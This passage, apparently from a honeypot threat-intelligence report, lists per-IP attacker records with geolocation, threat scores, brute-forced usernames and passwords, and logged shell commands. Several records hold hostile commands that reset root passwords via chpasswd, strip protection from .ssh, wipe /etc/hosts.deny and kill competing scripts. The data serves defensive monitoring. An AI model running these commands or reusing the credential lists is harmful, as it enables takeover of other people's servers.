        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"p@$$w0rd\\nERQquhrKYPzI\\nERQquhrKYPzI\\n\"|passwd",
        "echo \"password\\n8vJPMly0Vro0\\n8vJPMly0Vro0\\n\"|passwd",
        "echo -e \"p@$$w0rd\\nERQquhrKYPzI\\nERQquhrKYPzI\"|passwd|bash",
        "echo -e \"password\\n8vJPMly0Vro0\\n8vJPMly0Vro0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 16735,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 624,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:44:50.643000+00:00",
        "last_seen_30d": "2026-05-10T14:59:00.343000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 474,
        "Suricata": 150
      }
    },
    "202.44.212.79": {
      "attack_count": 460,
      "first_seen": "2026-05-21T06:35:43.001Z",
      "last_seen": "2026-05-22T09:36:23.654Z",
      "sessions": 230,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Khon Kaen",
      "asn": 4618,
      "as_org": "Internet Thailand Company Limited",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 690,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:35:43.001000+00:00",
        "last_seen_30d": "2026-05-22T09:37:31.924000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 460,
        "Suricata": 230
      }
    },
    "171.123.7.15": {
      "attack_count": 434,
      "first_seen": "2026-05-19T18:15:20.651Z",
      "last_seen": "2026-05-20T18:12:03.723Z",
      "sessions": 217,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 655,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:15:20.651000+00:00",
        "last_seen_30d": "2026-05-20T18:13:13.340000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 434,
        "Suricata": 221
      }
    },
    "103.56.115.187": {
      "attack_count": 430,
      "first_seen": "2026-05-03T22:27:09.904Z",
      "last_seen": "2026-05-30T17:34:22.176Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oo",
        "sc",
        "wiki",
        "book",
        "deploy",
        "linda",
        "lucas",
        "luis",
        "mamy",
        "meng",
        "nia",
        "prueba",
        "sammy",
        "story",
        "tempuser",
        "test",
        "transfer",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "!@#qweASDzxc",
        "112233",
        "123",
        "1234567890",
        "123456789Abc",
        "123456xx",
        "123qweasd!@#",
        "1qaz2wsx",
        "1qaz@WSX2025",
        "A123456@",
        "Admin123456*",
        "Asdf1234",
        "Dev@2025",
        "Lj123456",
        "Zd123456",
        "mamamiya"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n3RxVohAiBUpJ\\n3RxVohAiBUpJ\\n\"|passwd",
        "echo \"root:hmJGroWTNygX\"|chpasswd|bash",
        "echo \"sc123\\n44gHVBrQYG8v\\n44gHVBrQYG8v\\n\"|passwd",
        "echo \"wiki123\\nDAPT125zmxPC\\nDAPT125zmxPC\\n\"|passwd",
        "echo -e \"123\\n3RxVohAiBUpJ\\n3RxVohAiBUpJ\"|passwd|bash",
        "echo -e \"sc123\\n44gHVBrQYG8v\\n44gHVBrQYG8v\"|passwd|bash",
        "echo -e \"wiki123\\nDAPT125zmxPC\\nDAPT125zmxPC\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 60.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 521,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T22:27:09.904000+00:00",
        "last_seen_30d": "2026-05-30T17:35:26.657000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 91
      }
    },
    "39.65.121.149": {
      "attack_count": 418,
      "first_seen": "2026-05-20T18:30:19.675Z",
      "last_seen": "2026-05-23T07:45:40.836Z",
      "sessions": 209,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 627,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:30:19.675000+00:00",
        "last_seen_30d": "2026-05-23T07:46:46.400000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 418,
        "Suricata": 209
      }
    },
    "27.79.2.71": {
      "attack_count": 368,
      "first_seen": "2026-05-27T18:24:20.892Z",
      "last_seen": "2026-05-27T18:49:20.113Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "support",
        "*****",
        "ace",
        "anton",
        "ashish",
        "cf1c22",
        "config",
        "cpanel",
        "db2inst2",
        "dubai",
        "ftp",
        "ftpuser",
        "george",
        "install",
        "jay",
        "matrix",
        "mms"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "123456",
        "admin123",
        "*****",
        "0l0ctyQh243O63uD",
        "1",
        "112233",
        "1234",
        "12345678",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "ace",
        "admin@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 36.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 555,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T18:24:20.892000+00:00",
        "last_seen_30d": "2026-05-27T18:50:24.582000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 368,
        "Suricata": 187
      }
    },
    "89.44.137.58": {
      "attack_count": 366,
      "first_seen": "2026-05-04T17:46:52.639Z",
      "last_seen": "2026-05-04T18:09:53.282Z",
      "sessions": 183,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 205275,
      "as_org": "ROMARG SRL",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 554,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T17:46:52.639000+00:00",
        "last_seen_30d": "2026-05-04T18:10:54.509000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 366,
        "Suricata": 188
      }
    },
    "165.227.170.113": {
      "attack_count": 362,
      "first_seen": "2026-05-08T22:14:51.266Z",
      "last_seen": "2026-05-22T17:39:59.861Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "odoo",
        "test",
        "user1",
        "admin123",
        "ali",
        "appuser",
        "carlos",
        "dbuser",
        "denis",
        "deploy",
        "dev",
        "loguser",
        "mike",
        "ossadm",
        "pivpn",
        "postgres"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "!23QweAsd",
        "!@#qweasd",
        "1234",
        "123456",
        "123@abc",
        "123qwe",
        "1qasdfghjkl",
        "1qw23e",
        "321",
        "333333333",
        "Changeme_123",
        "P@SSw0rd",
        "Qwer!234",
        "ZAQ12WSX",
        "abc.1234",
        "abc@123",
        "admin1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Qwer!234\\nvNUL9Bjx4wAg\\nvNUL9Bjx4wAg\\n\"|passwd",
        "echo \"root:Jbndbbw1KSaR\"|chpasswd|bash",
        "echo -e \"Qwer!234\\nvNUL9Bjx4wAg\\nvNUL9Bjx4wAg\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:14:51.266000+00:00",
        "last_seen_30d": "2026-05-22T17:41:04.095000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 362,
        "Suricata": 112
      }
    },
    "134.195.210.250": {
      "attack_count": 351,
      "first_seen": "2026-05-15T17:15:42.693Z",
      "last_seen": "2026-05-15T17:53:19.548Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd-sync",
        "udev-monitor",
        "dbus-helper",
        "linux",
        "pakchoi",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "1",
        "123QWEasd123",
        "123admin",
        "123qwe,.",
        "1923",
        "23dec1987",
        "Ab123456@",
        "Kermit123@",
        "Push@8240",
        "Qwerty@2018",
        "dominator",
        "emma123",
        "hesoyam",
        "hola1234",
        "inspur",
        "lefty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:vFhmA5gvgUQ3\"|chpasswd|bash",
        "echo \"warnight\\n25LBxCjB3PDX\\n25LBxCjB3PDX\\n\"|passwd",
        "echo \"warnight\\nYzBNBBUsLOMA\\nYzBNBBUsLOMA\\n\"|passwd",
        "echo -e \"warnight\\n25LBxCjB3PDX\\n25LBxCjB3PDX\"|passwd|bash",
        "echo -e \"warnight\\nYzBNBBUsLOMA\\nYzBNBBUsLOMA\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 429,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:15:42.693000+00:00",
        "last_seen_30d": "2026-05-15T17:54:26.419000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 351,
        "Suricata": 78
      }
    },
    "43.130.32.27": {
      "attack_count": 350,
      "first_seen": "2026-05-30T09:04:37.697Z",
      "last_seen": "2026-05-30T09:27:18.257Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "fabian",
        "server",
        "abdullah",
        "jackson",
        "ubuntu",
        "victor",
        "wd"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ4esz",
        "111222",
        "123",
        "123456",
        "123789",
        "123qweQWE@",
        "2233",
        "Aa.123456",
        "Server123",
        "ab123456",
        "abdullah",
        "admin1234",
        "iloveyou",
        "jackson",
        "wd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n94wR4YKkryf8\\n94wR4YKkryf8\\n\"|passwd",
        "echo \"Server123\\ne36WLaFaNtIg\\ne36WLaFaNtIg\\n\"|passwd",
        "echo \"admin1234\\ngu7RcnBfQk8u\\ngu7RcnBfQk8u\\n\"|passwd",
        "echo \"root:kPGoiETMSekd\"|chpasswd|bash",
        "echo -e \"123456\\n94wR4YKkryf8\\n94wR4YKkryf8\"|passwd|bash",
        "echo -e \"Server123\\ne36WLaFaNtIg\\ne36WLaFaNtIg\"|passwd|bash",
        "echo -e \"admin1234\\ngu7RcnBfQk8u\\ngu7RcnBfQk8u\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T09:04:37.697000+00:00",
        "last_seen_30d": "2026-05-30T09:28:22.646000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 51
      }
    },
    "165.154.6.69": {
      "attack_count": 329,
      "first_seen": "2026-05-21T15:15:43.749Z",
      "last_seen": "2026-05-21T15:45:15.369Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chen",
        "container",
        "ovh",
        "azure",
        "cf",
        "ftp",
        "fuwuqi",
        "lan",
        "qq",
        "socks",
        "squid",
        "support",
        "terraform",
        "xiaomi",
        "xue"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "19900101",
        "555555",
        "Feb2024",
        "azure",
        "dianping",
        "ftp",
        "fuwuqi",
        "jianhang",
        "lan123",
        "ovh",
        "password",
        "qq123456",
        "socks",
        "squid123",
        "staff123",
        "terraform",
        "xiaomi"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\npK4IyeBh7E0d\\npK4IyeBh7E0d\\n\"|passwd",
        "echo \"ovh\\nkLvAR2IuLJA4\\nkLvAR2IuLJA4\\n\"|passwd",
        "echo \"root:SLXwfn8fLeD2\"|chpasswd|bash",
        "echo -e \"123456\\npK4IyeBh7E0d\\npK4IyeBh7E0d\"|passwd|bash",
        "echo -e \"ovh\\nkLvAR2IuLJA4\\nkLvAR2IuLJA4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 393,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:15:43.749000+00:00",
        "last_seen_30d": "2026-05-21T15:46:17.606000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 329,
        "Suricata": 64
      }
    },
    "162.19.243.145": {
      "attack_count": 325,
      "first_seen": "2026-05-06T01:43:04.903Z",
      "last_seen": "2026-05-25T02:55:31.283Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "345gs5662d34",
        "admin",
        "ali",
        "cloud",
        "csserver",
        "ftpuser",
        "server",
        "administrator",
        "curl",
        "debian",
        "developer",
        "git",
        "guestuser",
        "newuser",
        "postgres",
        "sftp",
        "student1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "11221122",
        "123321",
        "1234",
        "123456789",
        "1234567890",
        "123456789q",
        "123654",
        "Admin@123@",
        "P@ssw0rd1!",
        "P@ssw0rd123",
        "Root123@",
        "User1234",
        "Wangsu@2017",
        "Welcome1",
        "Yu123456",
        "abc",
        "abdd1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\n2mcjmMtr0Qf9\\n2mcjmMtr0Qf9\\n\"|passwd",
        "echo -e \"12345\\n2mcjmMtr0Qf9\\n2mcjmMtr0Qf9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 44.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:43:04.903000+00:00",
        "last_seen_30d": "2026-05-25T02:56:36.685000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 325,
        "Suricata": 114
      }
    },
    "72.240.125.133": {
      "attack_count": 217,
      "first_seen": "2026-05-28T22:44:25.434Z",
      "last_seen": "2026-05-28T23:20:45.337Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hadi",
        "admin",
        "backupuser",
        "bot1",
        "dss",
        "hannes",
        "julius",
        "kafka",
        "luis",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "12345678A",
        "6543210",
        "Lf123456",
        "Space123",
        "backupuser",
        "bot1",
        "fjbdfdjkdsfs541544",
        "hannes",
        "julius",
        "luis123",
        "qQ123456789",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nTRn9PnMA7gyx\\nTRn9PnMA7gyx\\n\"|passwd",
        "echo \"root:8gvgEXwkSXR4\"|chpasswd|bash",
        "echo -e \"123\\nTRn9PnMA7gyx\\nTRn9PnMA7gyx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Maumee",
      "asn": 13490,
      "as_org": "Buckeye Cablevision, Inc.",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:44:25.434000+00:00",
        "last_seen_30d": "2026-05-28T23:21:51.930000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 46
      }
    },
    "103.210.22.17": {
      "attack_count": 207,
      "first_seen": "2026-05-07T15:53:33.993Z",
      "last_seen": "2026-05-07T16:30:30.620Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "ali",
        "botuser",
        "csgoserver",
        "db_user",
        "developer",
        "esuser",
        "git",
        "sysadmin"
      ],
      "passwords_attempted": [
        "000000",
        "1",
        "111111",
        "121212",
        "123456Xx",
        "123admin!@#",
        "1a2s3d4f5g",
        "1q2w3e4r",
        "333444",
        "Digitalocean@123",
        "admin11",
        "ali@123456",
        "botuser2023",
        "db_user",
        "developer@2024",
        "ftp",
        "odoo@123",
        "root@admin123",
        "rootvps",
        "sysadmin2023."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
